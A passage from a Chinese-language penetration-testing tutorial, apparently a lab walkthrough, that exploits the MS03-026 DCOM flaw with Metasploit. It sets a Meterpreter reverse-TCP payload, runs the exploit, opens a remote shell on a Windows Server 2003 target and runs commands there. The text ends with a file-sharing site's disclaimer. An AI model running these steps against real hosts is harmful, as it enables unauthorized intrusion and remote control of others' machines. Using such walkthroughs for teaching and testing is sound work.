經過防火墻,易被過濾掉,不容易成功;我們將采用windows/meterpreter/reverse_tcp,此時,受害者將主動聯系kali,防火墻一般會放行。5.將“windows/meterpreter/reverse_tcp”選為攻擊載荷。msfexploit(windows/dcerpc/ms03_026_dcom)>setpayloadwindows/meterpreter/reverse_tcppayload=>windows/meterpreter/reverse_tcp6.通過showoptions命令,查看攻擊載荷payload的配置選項。msfexploit(windows/dcerpc/ms03_026_dcom)>showoptionsModuleoptions(exploit/windows/dcerpc/ms03_026_dcom):NameCurrentSettingRequiredDescription--------------------------------------RHOSTyesThetargetaddressRPORT135yesThetargetport(TCP)Payloadoptions(windows/meterpreter/reverse_tcp):NameCurrentSettingRequiredDescription--------------------------------------EXITFUNCthreadyesExittechnique(Accepted:'',seh,thread,process,none)LHOSTyesThelistenaddressLPORT4444yesThelistenportExploittarget:IdName------0WindowsNTSP3-6a/2000/XP/2003Universal7.set:設置攻擊載荷的配置選項、設置相關參數。msfexploit(windows/dcerpc/ms03_026_dcom)>setrhost3rhost=>3msfexploit(windows/dcerpc/ms03_026_dcom)>setlhost1lhost=>1三)查看適用的操作系統1.showtargets:查看所選的發射器和攻擊載荷適用的操作系統及版本,如果與被攻擊者的不符,則無法實施攻擊。msfexploit(windows/dcerpc/ms03_026_dcom)>showtargetsExploittargets:IdName------0WindowsNTSP3-6a/2000/XP/2003Universal可見,ID號為0的target,適用的目標操作系統及版本為WindowsNTSP3-6a/2000/XP/2003Universal。2.選用目標操作系統對應的ID號為0。msfexploit(windows/dcerpc/ms03_026_dcom)>settarget0target=>0四)實施攻擊1.exploit:使用選好的發射器exploit和攻擊載荷payload,執行滲透測試攻擊。msfexploit(windows/dcerpc/ms03_026_dcom)>exploit[*]StartedreverseTCPhandleron1:4444[*]3:135-TryingtargetWindowsNTSP3-6a/2000/XP/2003Universal...[*]3:135-Bindingto4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:3[135]...[*]3:135-Boundto4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:3[135]...[*]3:135-Sendingexploit...[*]Sendingstage(179779bytes)to3[*]Sleepingbeforehandlingstage...[*]Meterpretersession1opened(1:4444->3:3177)at2018-12-3020:26:40-0500meterpreter>可以看到,攻擊成功,payload被發射到目標系統中。五)操控被攻擊服務器1.查看被攻擊服務器的信息meterpreter>sysinfoComputer:ROOT-TVI862UBEHOS:Windows.NETServer(Build3790).Architecture:x86SystemLanguage:en_USDomain:WORKGROUPLoggedOnUsers:2Meterpreter:x86/windows2.進入被攻擊服務器的命令行界面meterpreter>shellProcess2396created.Channel1created.MicrosoftWindows[Version5.2.3790](C)Copyright1985-2003MicrosoftCorp.3.執行命令,操控被攻擊主機,如執行ipconfig等命令。C:\WINDOWS\system32>ipconfigipconfigWindowsIPConfigurationEthernetadapterLocalAreaConnection:Conne

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論